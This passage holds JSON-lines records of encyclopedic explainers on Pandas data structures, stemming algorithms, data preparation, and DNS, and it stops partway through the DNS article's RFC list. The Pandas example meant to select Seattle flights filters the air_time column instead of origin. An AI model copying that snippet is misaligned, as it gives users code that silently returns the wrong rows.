{"text":"# Pandas Data Structures\n\n## Summary\n\n\nThe two main **data structures** in Pandas are `Series` for 1-D data and `DataFrame` for 2-D data. Data in higher dimensions are supported within DataFrame using a concept called *hierarchical indexing*. For storing axis labels of Series and DataFrame, the data structure used is `Index`. These data structures can be created from Python or NumPy data structures. \n\nPandas data structures store data using NumPy or Pandas **data types**. Pandas has defined new data types where NumPy data types don't satisfy specific use cases. Pandas data types are also called *Extension types*. They're extended from Pandas `array`. Developers can extend `array` to create custom data types. \n\nPandas includes methods to convert data structures from Pandas to Python or NumPy. There's also implicit or explicit conversion of data types since a Series object or a DataFrame column can store values of only one data type.\n\n## Discussion\n\n### Could you give example usage of Pandas Series and DataFrame?\n\nConsider the *pnwflights14* dataset from 2014. It captures 162,049 flights departing from two major airports Seattle and Portland. A flight is characterized by date and time of departure, arrival/departure delays, carrier, origin, destination, distance, airtime, etc. In a Pandas DataFrame, each flight becomes a row and each attribute becomes a labelled column. \n\nFor analysis, it's possible to extract only one column from the DataFrame. The result is a Series data structure. For example, given DataFrame `df`, we can write `df['air_time']` or `df.air_time`. Thus, DataFrame is for 2-D data and Series is for 1-D data. We can also extract multiple columns (such as `df[['origin','dest']]`) resulting in another DataFrame.\n\nIt's possible to extract specific rows for analysis. For example, if we wish to analyze all flights originating from only Seattle, we can write `df[df.air_time=='SEA']`. The result is another DataFrame. If we access a single row (such as `df.iloc[0]` or `df.loc[0]`), we get a Series data structure.\n\nIn terms of data types, this dataset has a mix of types: integer, float, datetime, string, etc. However, each column has only one type.\n\n\n### What's the anatomy of a Pandas DataFrame?\n\nA Pandas DataFrame represents tabular data, that is, data in **rows and columns**. All values in a column must have the same data type. Each row can be thought of as representing an entity or thing, with its attributes represented in the columns. \n\nBy default, rows and columns are **indexed** with integers, starting from zero. For convenience, it's more common to give **labels** or descriptive names, particularly to columns. Thus, rather than writing `df[0]` we can write `df['homeTeamName']`. Duplicate labels are allowed but can be prevented with method `set_flags(allows_duplicate_labels=False)`. \n\nWe can extract a single column, resulting in a Series. A row can also be extracted into a Series but since columns are likely to have different data types, the type of the resulting Series would be `object`, a generic type.\n\nThe direction of a Series is called **axis**. When moving from one row to the next, we're on axis-0. When moving from one column to the next, we're on axis-1. \n\n\n### What are the different data types supported in Pandas?\n\nPandas mostly uses NumPy arrays and dtypes. These are float, int, bool, datetime64[ns], and timedelta[ns]. Unlike NumPy, Pandas datetime type is timezone-aware. For numerical values, defaults are `int64` and `float64`. \n\nData types particular to Pandas are BooleanDtype, CategoricalDtype, DatetimeTZDtype, Int64Dtype (plus other size and signed/unsigned variants), IntervalDtype, PeriodDtype, SparseDtype, StringDtype, Float32Dtype, and Float64Dtype. \n\nWhen reading a data source, Pandas infers the data type for each column. Sometimes we may want to use a different type. For example, 'Customer ID' may be stored as `float64` but we want `int64`; 'Month' may be `object` but we want `datetime64[ns]`. For type conversions, we can use methods `astype()`, `to_numeric()` or `to_datetime()`. There's also `convert_dtypes()` method to infer the best possible conversion. \n\n\n### What use is string type when there's already object type?\n\nConsider the following examples:\n\n    + `pd.Series(['red', 'green', 'blue'])`: object data type is used by default\n    + `pd.Series(['red', 'green', 'blue'], dtype='string')`: string data type is usedThe object is a more general type. A DataFrame column with different types is collectively given the object type. Instead, string type gives developers clarity on the type of values stored. It also prevents accidentally storing strings and non-strings together. Pandas string type, which is an alias for `StringDtype`, is also more \"closely aligned\" to Python's own `str` class. The underlying storage is `arrays.StringArray`. \n\nIn a DataFrame, columns of string type can be more easily separated from columns of object type. This is possible by calling the method `select_dtypes(include='string')`. \n\nWhile there's no difference between the two types in terms of performance, it's possible that future versions of Pandas might implement optimizations for string type.  \n\n\n### What are sparse data types and why do they matter?\n\nBoth Series and DataFrame can be used to store sparse data. Sparse doesn't necessarily mean \"mostly zero\" values. Rather, sparse data structures can be seen as a memory optimization technique. Any value can be specified. This value is not stored. However, these data structures behave the same way as their dense counterparts. \n\nThe underlying storage for sparse data structures is an ExtensionArray called `arrays.SparseArray`. Fill value, which is not stored in sparse arrays, can be specified using argument `fill_value`. We can inspect proportion of non-sparse values with property `density`. Method `to_dense()` yields the dense array. Methods `from_spmatrix()` and `to_coo()` help in interfacing with SciPy matrices. \n\nAs an example, consider the storage size of these two, using `df.memory_usage().sum()`: \n\n    + `df = pd.DataFrame([1, 2, 2, 2])`: 160 bytes\n    + `df = pd.DataFrame([1, 2, 2, 2], dtype=pd.SparseDtype(\"float\", 2))`: 140 bytes\n\n### What data types deal with missing values in Pandas?\n\nFor speed and convenience, it's useful to detect missing values. Traditionally, Pandas has used NumPy `np.nan` (displayed as `NaN`) to represent missing data. For example, Python `None` values will result in `NaN` in Pandas. \n\nHowever, `NaN` is not used for all data types. It's used in a float context. For datetime objects, `NaT` is used, which is compatible with `NaN`. Python `None` value when converted in a string context becomes string \"None\", that is, it's not treated as a missing value. List of integers with some `None` values can't be converted into a Pandas Series.\n\nTo provide more uniform handling of missing values, since Pandas 1.0.0, there's `pd.NA` (displayed as `<NA>`) value. This is now used for missing values in `string`, `boolean` and `Int64` (and variants) types. \n\nInserting missing values into a Pandas data structure will trigger the suitable conversion. Infinite values `-inf` and `inf` can be treated as `pd.NA` by calling `pandas.options.mode.use_inf_as_na = True`. \n\nDataFrame/Series methods `fillna()`, `dropna()`, `isna()`, `notna()` and `interpolate()` are useful.  \n\n\n### How do I convert Pandas data structures to/from NumPy or Python equivalents?\n\nInput to the Series constructor can be a Python list or NumPy array. Thus, we can write `pandas.Series([1,2])` or `pandas.Series(numpy.array([1,2,3]))`. Constructor can also accept a tuple, a dictionary or scalar value. For a dictionary input, the keys become the Series index. \n\nSeries methods `tolist()` and `to_numpy()` return Python list and NumPy ndarray respectively. Another way to get a NumPy array is to access property `Series.values` but this is not recommended since for some data types it doesn't exactly return an ndarray. \n\nAnother property `Series.array` returns the underlying ExtensionArray. This is Pandas' own array. If the data is of NumPy native type, this is a thin wrapper (no copy) over NumPy ndarray. \n\nLikewise, there are many ways to create a DataFrame: from lists, dictionaries, Series, another DataFrame, 1-D/2-D/structured NumPy arrays, or list of dictionaries. For a dictionary input, the keys become column labels. If keys are tuples, we create a multi-indexed frame. Useful methods for conversion include `to_dict()` and `from_dict()` (Python), and `to_records()` and `from_records()` (NumPy). \n\n## Milestones\n\nMay  \n2017\n\nIn Pandas 0.20.0 (joint release with 0.20.1), `pandas.Panel` is deprecated. The recommended way to represent 3-D data is to use `MultiIndex` on a DataFrame. Method `to_frame()` converts from Panel to DataFrame. To convert to `xarray` data structure of package *xarray*, the method `to_xarray()` can be used. \n\nJan  \n2020\n\n**Pandas 1.0.0** is released. On an experimental basis, Pandas introduces `pd.NA` to represent missing scalar values. This is used by `Int64Dtype` (and variants), `StringDtype` and `BooleanDtype`. \n\nMay  \n2020\n\nIn *Scikit-Learn*, a popular Python library for machine learning, version 0.23.0 is released. Dataset loaders in this release now support loading data as a Pandas DataFrame using argument `as_frame=True`. \n\nDec  \n2020\n\n**Pandas 1.2.0** is released. This introduces `Float32Dtype`, `Float64Dtype` and `FloatArray`. While the default float uses `np.nan` for missing values, the new float types use `pd.NA`.","meta":{"title":"Pandas Data Structures","href":"pandas-data-structures"}}
{"text":"# Stemming\n\n## Summary\n\n\nConsider different forms of a word, such as *organize*, *organizes*, and *organizing*. Consider also words that are closely related, such as *democracy*, *democratic*, and *democratization*. In many applications, it may be inefficient to handle all the variations individually. **Stemming** reduces them to a common form. Algorithms that do this are called **stemmers**. The output of a stemmer is called the **stem**, which is the root word. \n\nStemming may be seen as a crude heuristic process that simply chops off ends of words. Unlike lemmatization, stemming doesn't involve dictionary lookup or morphological analysis. It's not even required that the stem be a valid word or identical to its morphological root. The goal is to reduce related words to the same stem.\n\n## Discussion\n\n### What are some applications of stemming?\n\nStemming is a pre-processing task that's done before other application-specific tasks are invoked. One application of stemming is to count the use of emotion words and perform basic sentiment analysis. When used with a dictionary or spell checker such as Hunspell, stemmers can be used to suggest corrections when wrong spelling is encountered. \n\nOne of the first applications of stemming was in Information Retrieval (IR). Searching with keyword \"explosion\" would fail to retrieve documents indexed by the word \"explosives\". Stemming solves this problem since indexing would be done using stem words. \n\nOnline search engines such as Google Search use stemming. An analysis from 2009 of Google Search showed that some suffixes such as '-s', '-ed', and '-ing' are considered to be strongly correlated with the stems. Suffixes '-able', '-tive', '-ly', and '-ness' are considered less correlated. For better SEO, forms that are poorly correlated could be added to improve search ranking. However, Google may penalize the page if it appears unnatural. \n\n\n### What are some essential terms concerning stemming?\n\nStemming is based on the assumption that words have a structure, based on a root word and modifications of the root. The study of words and their parts is called **morphology**. In IR systems, given a word, stemming is really about finding morphological variants. The term **conflation** indicates the combining of variants to a common stem. \n\nWords may contain prefixes and suffixes, which generally are called **affixes**. Stemming usually concerns itself with suffixes. Suffixes themselves are of two types: \n\n    + **Inflectional**: Form is varied to express some grammatical feature such as singular/plural or present/past/future tense. Inflections don't change part of speech or meaning. For example, 'boy' and 'boys'; 'big', 'bigger' and 'biggest'.\n    + **Derivational**: New forms are created from words. New ones have a different part of speech or meaning. For example, 'creation' from 'create'. They can occur between the stem and an inflectional suffix, such as 'governments', where '-ment' precedes '-s'. Another example is 'rationalizations', where '-al', '-iz' and '-ation' are derivational, and '-s' is inflectional.\n\n### What are the typical errors while stemming?\n\nErrors occur because rules fail for some special cases. The worst error is when two different concepts conflate to the same stem. For example, when 'Withings' is stemmed to 'with' on a web portal, wrong items are presented to the user. Porter stemmer stems 'meanness' and 'meaning' to 'mean', though they relate to different concepts. On the contrary, 'goose' and 'geese' are equivalent but they're stemmed as 'goos' and 'gees' respectively. \n\nTypical errors of stemming are the following:  \n\n    + **Overstemming**: Happens when too much is removed. For example, 'wander' becomes 'wand'; 'news' becomes 'new'; or 'universal', 'universe', 'universities', and 'university' are all reduced to 'univers'. A better result would be 'univers' for the first two and 'universi' for the last two.\n    + **Understemming**: Happens when words are from the same root but are not seen that way. For example, 'knavish' remains as 'knavish'; 'data' and 'datum' become 'dat' and 'datu' although they're from the same root.\n    + **Misstemming**: Usually not a problem unless it leads for false conflations. For example, 'relativity' becomes 'relative'.\n\n### Could you give an overview of algorithms for stemming?\n\nStemming algorithms broadly fall into one of two categories: \n\n    + **Rule-based**: Table lookup is a brute force approach where inflected or derived forms are mapped to stems. For Turkish that has lots of inflected forms, this will lead to large tables. Another approach is to apply a series of rules to strip affixes to get to the stem. Yet another approach is to use word morphology, including part of speech. All these approaches require particular knowledge of the language.\n    + **Statistical**: By training a model, suffix-stripping rules are implicitly derived. This is good for languages with complex morphology. No expert knowledge of the language is needed. Models can be trained from a lexicon, a corpus or character-based n-grams of the language's words.Among the rule-based stemmers are Lovins stemmer, Dawson stemmer, Porter stemmer, Paice/Husk stemmer (aka Lancaster stemmer), Krovetz stemmer and Xerox stemmer. Porter stemmer in its Snowball implementation is commonly used. Lancaster stemmer is more aggressive, leading to overstemming. \n\n\n### Could you explain Porter's algorithm?\n\nPorter stemmer applies a set of rules in five steps involving 51 suffixes and 60 rules. \n\nEach rule is given by the form \\((condition) \\, S1 \\to S2\\), where S1 and S2 are suffixes. If the condition is matched or null, S1 is replaced with S2. When multiple rules are applicable in a given sub-step, only the rule with the longest S1 is obeyed. For example, step-1a has four rules with null condition: \n\n$$SSES \\to SS\\\\IES \\to I\\\\SS \\to SS\\\\S \\to$$\n\nIn this case, 'caresses' becomes 'caress' since the first rule gives the longest match for S1; 'caress' remains caress (third rule); 'cares' becomes 'care' (fourth rule). \n\nPorter also defined the generic structure of a word as \\([C] (VC)^{m} [V]\\), where [ ] denotes arbitrary presence, C is one or more consonants, V is one or more vowels and m is the word's **measure**. Measure is computed on what precedes the rule's suffix. We could use it to ignore rules when stem is too short. For example, the following rule changes 'agreed' to 'agree' (m=1) but retains 'feed' as 'feed' (m=0): \\((m>0) \\, EED \\to EE\\)\n\n\n### What are the common approaches used by stochastic stemmers?\n\nOne approach is to segment words into roots and suffixes and selecting the best possible segmentation. This is based on counts of letter successor varieties. Minimum Description Length (MDL) stemmer is also about finding the optimal split between root and suffix. MDL was found to be computationally intensive and gave 83% accuracy for both English and French. \n\nAnother approach is to discover suffixes based on their frequencies. Frequencies are adjusted for partial suffixes so that '-ng' doesn't include '-ing'. \n\nHidden Markov Model (HMM) has been applied to stemming. Word letters are considered as hidden states and the transition from a root state to a suffix state is taken as the split point. \n\nYet Another Suffix Stripper (YASS) treats stemming as a word clustering problem. Two words having long common prefix are considered similar. Threshold value must be selected carefully to produce meaningful clusters. YASS was shown to perform similar to rule-based stemmers. \n\nOther approaches make use of graphs with weighted edges, word co-occurrences, distribution similarity, and queries along with context. \n\n\n### How is the performance of stemming?\n\nAlgorithmic stemmers are typically fast. For example, a million words can be stemmed in 6 seconds on a 500 MHz personal computer. It's more efficient not to use a dictionary. Rather than complicate the algorithm, it's simpler to ignore irregular forms. \n\nLemmatization uses a dictionary such as WordNet to get to the correct base forms. However, lemmatization has its limitations too. For example, 'happiness' and 'happy' are left unchanged while the Porter stemmer stems them correctly to 'happi'. \n\nIn IR systems, stemming reduces storage requirements by over 50% since we store stems rather than full terms. \n\n\n### What are some tools to do stemming?\n\nFor a quick demo of stemming, online tools are available:\n\n    + JavaScript-based Porter Stemmer: Highlights removed suffixes.\n    + JavaScript-based Snowball Stemmer: Includes open source code and unit tests.\n    + NLTK-based Stemmers: Two sources are text-processing.com and TextAnalysisOnline. They support Porter, Lancaster and Snowball stemmers. These tools also include lemmatization.For developers, R has the *corpus* package for stemming. This is based on Snowball. This has support for multiple natural languages. In Python, NLTK and TextBlob are two packages that support stemming. \n\nMartin Porter has shared a list of many language implementations of the Porter stemmer. For test purpose, he also shares a sample vocabulary and the expected output. \n\n## Milestones\n\nJun  \n1968\n\nJulie Beth Lovins of MIT publishes details of one of the earliest stemmers in the context of information retrieval. The system has 10,000 documents in the field of materials science and engineering. The algorithm has two phases: (a) remove longest possible ending to obtain the stem; (b) handle spelling exceptions. For example, 'absorption' becomes 'absorpt' and 'absorbing' becomes 'absorb' in phase-1; phase-2 matches 'absorpt' and 'absorb' via recoding. \n\n1980\n\nMartin Porter invents an algorithmic stemmer based on rules for suffix stripping. The algorithm runs in five steps. He finds that in a vocabulary of 10,000 words the stemmer gives a size reduction of 33%, with most reduction coming from step-1 that deals with plurals and past participles. The stemmer is implemented in BCPL. This later becomes known as **Porter stemmer**.\n\n1990\n\nChris Paice at Lancaster University invents a new stemmer that iteratively removes suffixes based on matching rules. Some rules replaces suffixes so that spelling exceptions don't occur. This stemmer is usually called Paice/Husk stemmer or **Lancaster stemmer**. \n\n1994\n\nStemmers are often evaluated based on their effectiveness towards information retrieval. This however does not help in improving the stemmer. To solve this, Chris Paice proposes using predefined concept groups with sample words. The method counts overstemming and understemming errors. It then computes the metrics overstemming index (OI), understemming index (UI), stemming weight and error rate relative to truncation (ERRT). These help us compare the performance of different stemmers. \n\n2001\n\nMartin Porter finds that many implementations of Porter stemmer contain errors. He also notes that the Kraaij-Pohlmann stemmer for Dutch is released as open source ANSI C software but lacks a description of the algorithm. To solve these issues, Porter invents **Snowball**, a system in which rules can be expressed in a natural way. Then a compiler transforms the description into C code. The Snowball implementation for English is also called **Porter2 stemmer**. By 2019, Snowball supports more than a dozen natural languages with code generated in C, Java, Python, Go, Rust, C#, and more. \n\n2007\n\nJohn Fairweather files a patent application that treats stemming as a shortest-path problem. Words are modelled in the form `[Prefix] Root {[Infix] Root} [Suffix]`, where [ ] is zero or more occurrences, { } is one or more occurrences. Cost of each path is computed from word component and number of characters in it. The algorithm is language independent.  \n\n2009\n\nAhmet Uyar of Mersin University, Turkey, investigates stemming mechanisms used by Google. Using 18,000 different words, he finds that Google uses a document-based algorithm. Documents are indexed based on word forms that are semantically strongly correlated. This includes singular and plural forms but rarely suffixes of the type '-able' or '-tively'.","meta":{"title":"Stemming","href":"stemming"}}
{"text":"# Data Preparation\n\n## Summary\n\n\nRaw data is usually not suitable for direct analysis. This is because the data might come from different sources in different formats. Moreover, real-world data is not clean. Some data points might be missing. Some others might be out of range. There could be duplicates. Data preparation is therefore an essential task that transforms or prepares data into a form that's suitable for analysis. \n\nData preparation assumes that data has already been collected. However, others may consider data collection and data ingestion as part of data preparation. Within data preparation, it's common to identify sub-stages that might include data pre-processing, data wrangling, and data transformation.  \n\nUseful insights from data via analytics is the final goal in today's data-driven world. However, data preparation is an important task. Poorly prepared data can make analytics more difficult and ineffective.\n\n## Discussion\n\n### What's the typical pipeline for data preparation?\n\nThe first step of a data preparation pipeline is to **gather** data from various sources and locations. Before any processing is done, we wish to **discover** what the data is about. At this stage, we understand the data within the context of business goals. Visualization of the data is also helpful here. The next stage is to **cleanse** the data of missing values and invalid values. We also reformat data to standard forms. Next we **transform** the data for a specific outcome or audience. We can **enrich** data by merging different datasets to enable richer insights. Finally, we **store** the data or directly send it out for analytics. \n\nIn the context of machine learning, **data pre-processing** converts raw data into clean data. This involves iteratively cleaning, integration, transformation and reduction of data. When an ML model is being prototyped, often data scientists may wish to go back to convert the data into a more useful form. This could be called **data wrangling** or **data munging**. This involves filtering, grouping, sorting, aggregating or decomposing data as required for modelling. \n\n\n### What are some common tasks involved in data preparation?\n\nData preparation involves one or more of the following tasks: \n\n    + **Aggregation**: Multiple columns are reduced to fewer columns. Records are summarized.\n    + **Anonymization**: Sensitive values are removed for the sake of privacy.\n    + **Augmentation**: Expand the dataset size without collecting more data. For example, image data is augmented via cropping or rotating.\n    + **Blending**: Combine and link related data from various sources. For example, combine an employee's HR data with payroll data.\n    + **Decomposing**: Decompose a data column that has sub-fields. For example, \"6 ounces butter\" is decomposed into three columns representing value, unit and ingredient.\n    + **Deletion**: Duplicates and outliers are removed. Exploratory Data Analysis (EDA) may be used to identify outliers.\n    + **Formatting**: Data is modified to a consistent form. For example, 2019-Jul-01, 2019-07-1, and 1/7/19 are changed to a single form, such as 2019-07-01.\n    + **Imputation**: Fill missing values using estimates from available data.\n    + **Labelling**: Data is labelled for supervised machine learning.\n    + **Normalization**: Data is scaled or shifted, perhaps to a range of 0-1.\n    + **Sampling**: For a quick analysis, select a small representative sample.\n\n### What attributes are important in the context of data preparation?\n\nIt's important to measure the data preparation pipeline and assess how well it delivers data for analytics. To start with, **data quality** is measured by its accuracy, completeness, consistency, timeliness, believability, added value, interpretability, and accessibility. The pipeline must be able to validate data, spot problems and give tools to understand why they're occurring. \n\nWith the growing demand for near real-time analytics, we expect frequent **data refreshing**. Ideally, data quality is maintained even when refresh rate is high. In practice, there may be a trade-off. \n\nData must be **easy to access** even with growing data variety and volume. Data lakes and Hadoop are enablers in this regard. \n\nData must also **conform** to data models, domain models and database schemas. Data preparation must check for conformance. \n\nData preparation must ensure **consistency** across various datasets. For example, variations due to spelling or abbreviations must be handled. One sports dataset may use the term 'soccer' while another may use the term 'football'. \n\nUnlike ETL systems, data preparation pipeline must be more **flexible** for ad hoc processing. \n\n\n### What are some challenges involved in preparing data?\n\nA common challenge faced by businesses is the **diversity** of data sources, siloed or proprietary tools, tedious processes, and regulatory compliance. Incompatible data formats, messy data and unbalanced data are further challenges. \n\nWhen **manual processes** are used, businesses spend more time preparing data than analyzing it. Therefore, organizations must invest in tools and automation. Indeed, data scientists should get involved with teams tasked with data preparation. \n\nIt's been said that \"bad data is bad for business\". Organizations are unsure of data's **quality** and hence lack confidence in using it for decision making. This can be solved by investing early in data collection and preparation. Profile the data landscape. Improve data quality at source. \n\nSome applications (such as fraud detection or industrial IoT apps) may require data preparation in **real time**. With large data volumes, collecting, preparing and storing data at scale is a challenge. In **production**, the preparation pipeline should be repeatable, handle errors and tuned for performance. It should work for initial data, incremental data and streamed data. \n\n\n### Could you share some best practices for data preparation?\n\nCheck data types and formats. Check if data is accurate. Graph the data to get a sense of the distribution and outliers. If these are not as expected, question your assumptions. Label and annotate the graphs. Backup the data. Document or record the steps so that they can be repeated when new data comes in. \n\nData professionals shouldn't rely too much on IT departments. Adopt data systems and tools that are user friendly. \n\nData literacy, which is the ability to read, analyze and argue from data, is an essential skill today. Engineers, data scientists and business users must talk in a common language. Prepare data with a good understanding of the context and the business goals.  \n\nProfile the data first. Start with a small sample. Iteratively, try different cleaning strategies and discuss the results with business stakeholders. Keep in mind that data may change in the future. Data preparation is therefore not a do-once-and-forget task. \n\n\n### Which programming languages are well suited for data preparation tasks?\n\nTwo well-known libraries for data preparation are `pandas` (Python) and `dplyr` (R). Apache Spark, more a framework than a language, is also suited for data preparation. Apache Spark enables fast in-memory data processing in a distributed architecture. \n\nThe main data structure in `pandas` is the DataFrame. The method `df.describe()` is a quick way to describe the data. A more detailed profile can be obtained using the `pandas-profiling` package. Missing values are represented as `NaN` or \"not a number\". Methods `df.fillna()` and `df.dropna()` help in dealing with NaN values. A couple of useful tutorials using Pandas are by Jaiswal and by Osei.\n\nIn R, the equivalent data structure is `data.frame`. A brief structure of the data can be seen using `str()`. Missing data is marked as `NA`. Packages `dplyr` and `tidyr` can be used for data preparation. \n\nSpark provides APIs in Python, R, Java, Scala and SQL. When Spark is used, it's possible to convert between Spark DataFrames and Pandas DataFrames using Apache Arrow. \n\n\n### Could you list some tools that aid data preparation with minimal coding?\n\nData analysis can't happen without data preparation. To enable this with minimal or no coding, it's best to use a **self-service data preparation tool**. This helps data analysts, business owners and data scientists. There are many of these in the market today (2019): Altair Monarch, Alteryx, ClearStory, Datameer, DataWatch, Dialogue, Improvado, LavaStorm, Microstrategy, Oracle, Paxata, Qlik, Quest, SAP, SAS, Tableau Prep, TIBCO, Trifacta, and Zaloni.  \n\nMany tools can combine data from different sources. They include visualization and exploratory data analysis. For data preparation, they can clean, augment, transform, or anonymize data. Some self-service tools include analytics and cataloguing. Good tools manage metadata and offer a search feature. They can track data sources and data transformations. \n\nWhile developing data preparation pipelines, tools should support real-time visualizations. This facilitates quick debugging of the processing logic. However, it's been noted that many tools are unable to handle big data or fast enough on complex queries. \n\nWhen choosing a suitable tool, some aspects to consider are features, pricing, performance, usability, collaboration, licensing model, vendor viability, customer support, enterprise integration, security and ecosystem. \n\n## Milestones\n\n2000\n\nThis decade sees the growing use of data in organizations. However, data is controlled and managed by IT departments. Data scientists work with IT staff. Data preparation involves coding and specialized expertise. Meanwhile, Business Intelligence (BI) tools show the benefits of data visualization and reporting. Users shift from spreadsheets to BI tools. This leads to more and more requests for data access and analysis. IT is soon overwhelmed by the workload. \n\nMay  \n2005\n\nIn a report titled *Competing on Analytics*, researchers note that companies are competing based on data and analytics. Statistical analysis and predictive modelling have become important. However, the report makes no mention of data preparation. \n\n2010\n\nTo cope with the shift towards data-centric operations, IT open up data to other departments. While this brings speed, data also get siloed and inconsistent across datasets. Spreadsheets are error prone. ETL tools are rigid and therefore not suited for rapid prototyping. In this context, **self-service data preparation tools** emerge. These require almost no coding and enable rapid iterations. \n\nSep  \n2018\n\nGoogle Cloud Platform announces the general availability of **Google Cloud Dataprep**, a cloud offering from Trifacta. This is a self-managed data preparation tool that integrates well with other parts of Google Cloud such as BigQuery and Cloud Dataflow. Prepared data can then be analyzed in Google Data Studio. \n\n2019\n\nA study by the International Data Corporation (IDC) finds that 33% of time is spent on data preparation, 32% on analytics and only 13% on data science. Respondents note that \"too much time is spent on data preparation\". They also recognize that they need to automate data preparation to acceleration their analytics pipeline.","meta":{"title":"Data Preparation","href":"data-preparation"}}
{"text":"# Domain Name System\n\n## Summary\n\n\nInternet is a network of networks. Any computer or other network device participating on the Internet for providing or receiving services has an address called *IP address*. This address is used to communicate with other computers. But since it's difficult for human beings to remember IP addresses, the concept of Domain Name, or **Fully Qualified Domain Name (FQDN)** was introduced. This name is a sequence of human-readable characters that end with .com, .in, .org, etc.\n\nThe use of domain names is a problem for machines since they communicate using IP addresses. This is because the Internet is based on TCP/IP protocol, which uses IP addresses for identifying devices. Hence, domain names given by humans must be resolved to specific IP addresses. For this purpose, there are name servers. The entire system is called **Domain Name System (DNS)**.\n\n## Discussion\n\n### Could you explain DNS and why is it needed?\n\nBecause names are easier to remember than numbers, DNS is useful to refer to online resources by name. DNS is like a \"phonebook for the Internet\". Another benefit of DNS is that IP addresses of servers can be changed while retaining the same names. Moreover, a name can point to multiple IP addresses for redundancy and performance. \n\nEven before DNS was invented, names were used instead of IP addresses but those names were not organized in a hierarchy. The mapping of names to IP addresses was also kept in a file called *HOSTS.TXT* that was almost manually updated and synchronized across network nodes. Thus, the system was centralized and did not scale well when Internet started to grow exponentially through the 1980s. DNS came in as a scalable solution. The system was designed to be distributed. Domain names were organized into hierarchical namespaces. \n\nTwo important aspects of DNS are zones and caching. **Zones** enable more flexible and granular management of domains. **Caching** improves response times by locally storing responses for future queries. \n\n\n### Could you explain the DNS architecture and protocol flow?\n\nDNS is a hierarchical system. It starts with a root name server below which are the top-level domain (TLD) servers. Examples of TLD are the traditional ones (.com, .net, .uk, .in, etc.) plus newer TLDs (.phone, .ieee, etc.) introduced since 2013. Below these are the second-level domain (SLD) servers, such as wikipedia.org, .co.uk, etc. Finally, domain name is mapped to IP address by the authoritative nameserver. For example, there will be an authoritative nameserver for bbc.co.uk. \n\nClient initiates a DNS query, let's say when trying to access bbc.co.uk. Between the client and the DNS servers is the recursive resolver. It's job is to resolve the domain name to its requested IP address. For bbc.co.uk, the resolver contacts the root name server, which points to the TLD server for .uk TLD; resolver contacts the TLD server, which points to the SLD server that manages .co.uk; resolver contacts the SLD server to obtain the IP address of bbc.co.uk. It then caches it for future queries and forwards it to the client. Client uses this IP address to communicate with BBC's server. \n\n\n### Could you explain the different types of DNS servers?\n\nThere are four types of DNS servers: \n\n    + **Recursive Resolver**: Also called DNS Recursor, it's the first server to receive the DNS request. It mediates between the client and the nameservers. If it has cached data, it will use the cache. If not, it contacts a root server, then a TLD server, and finally the authoritative nameserver.\n    + **Root Server**: Based on the TLD extension, it points the recursive server to the TLD server to contact. There are 13 root servers but due to redundancy there were actually 600+ servers back in October 2016.\n    + **TLD Server**: Contains records for all domains belonging to that TLD. A TLD server will point the recursive server to contact the correct authoritative nameserver for the specific domain. TLD servers belong to one of two groups: *Generic TLD (gTLD)* (.com, .org, etc.) or *Country Code TLD (ccTLD)* (.uk, .in, etc.).\n    + **Authoritative Nameserver**: This has the IP address of the requested domain name. If the domain has a alias record (CNAME), it will respond with the alias domain, which will make the recursive server to start a new DNS lookup.\n\n### Which are the three Rs of DNS?\n\nThree entities are involved in DNS: \n\n    + **Registrant**: Anyone wishing to own a domain name for a period of time must make an application to a registrar. Suppose you wish to start an online business with address *myspecialcakes.co.uk*, you are a registrant.\n    + **Registrar**: A registrar processes applications from registrants to register a domain name on their behalf. A registrar can be an ICANN accredited registrar for some TLDs and a reseller for other TLDs. If accredited, the registrar will directly interface with registries. If reseller, the registrar will interface with registrars accredited for those specific TLDs.\n    + **Registry**: A registry manages the registration of all domains in a specific TLD. Each registry manages a single TLD, though a single company may run multiple registries. A registry consists of a database of all registered domain names, rules for domains, and sets registration prices.\n\n### What's a zone in the context of DNS?\n\nA zone is really an administrative space so that organizations and administrators can manage domains in a granular way. Each zone can be managed independently of others. A DNS zone can contain multiple subdomains and multiple zones can be on the same server. Zones are not about physical or geographic separation. Rather, they are used for delegating control. \n\nDomains within a zone have to be contiguous. For example, a zone cannot contain only domains \"admin.coatbank.com\" and \"finance.coatbank.com\" without also including \"coatbank.com\". In another example, \"blog.cloudflare.com\" can be in a separate zone while all other subdomains of Cloudflare can be in another zone. \n\nA **DNS Zone File** is a plain text file saved on a DNS server. This file contains all records for every domain within the zone. A **DNS Record** is a single entry that maps a name to its IP address. A zone file stores different types of records but always starts with SOA (Start of Authority) record. A zone file can contain only one SOA record. \n\n\n### What are primary and secondary DNS servers?\n\nDNS is a critical aspect of the Internet. If it fails, many Internet services will be affected for any given company: its website, support services, email servers, sales portals, online resource libraries, databases, multiplayer games, etc. \n\nIn one test that queried 100,000 authoritative servers for .ca domains, 93% failed to respond at least once. This implies that for reliable Internet services we need redundancy. For this reason, we have secondary servers to take over in case primary servers are down. Secondary servers also help with load balancing to prevent denial-of-service situations. \n\nEach zone can have only one primary DNS server but any number of secondary servers. The controlling zone file is on the primary server. Secondary servers store read-only copies of the controlling zone file via a communication procedure called **Zone Transfer**. A primary server of one zone can also be a secondary server for another zone. \n\n\n### What are the different types of DNS Records?\n\nAmong the different types are Start of Authority (SOA), Name Server (NS), Mail Exchange (MX), Address (A), AAAA, Canonical Name (CNAME), Alias (ALIAS), Text (TXT), Service Locator (SRV), Pointer (PTR), and more. \n\nWhen recursive name servers need to contact authoritative name servers NS records become useful. The IP address of a domain comes from A. Likewise, for IPv6 address, AAAA records are used. Sometimes a domain name may be redirected to another name, such as wikipedia.com redirecting to wikipedia.org. CNAME and ALIAS records help in implementing these aliases. \n\n\n### What are some practical challenges with DNS?\n\nManaging DNS is not trivial. DNS is a combination of system administration and network management. Expert IT staff are needed. While DNS was designed for addressing, it's becoming overloaded. It's getting tied to applications and application protocols. The original design assumed DNS would be deeply hierarchical with high ratio of physical hosts to second-level domains. However, it's turned out to be much flatter with SOA count possibly exceeding number of physical hosts. \n\nDNS has security issues. DNS Spoofing can direct users to malicious websites by tampering the cache entries. This can be fixed by deploying DNSSEC. \n\nWhen changes happen in a DNS zone, such as a website moving to another data centre, other servers may not get the update for as much as 24 hours. \n\nAlthough DNS is a distributed system, the approval of TLD names is done by the ICANN. Until 2016, this entity was influenced by the U.S. government. Even today, it's said that DNS servers are controlled by governments and large corporations. For this reason, .bit domain names have been created. Dot-Bit domains bypass DNS. They are powered by Namecoin, which is based on Bitcoin. \n\n\n### What are the RFCs and specifications relating to DNS?\n\nDNS is defined by Request for Comments (RFC) documents published by the Internet Engineering Task Force (IETF). A list of DNS RFCs is available online. We mention a few important ones: \n\n    + RFC 920: Domain Requirements\n    + RFC 1034: Domain Names — Concepts and Facilities\n    + 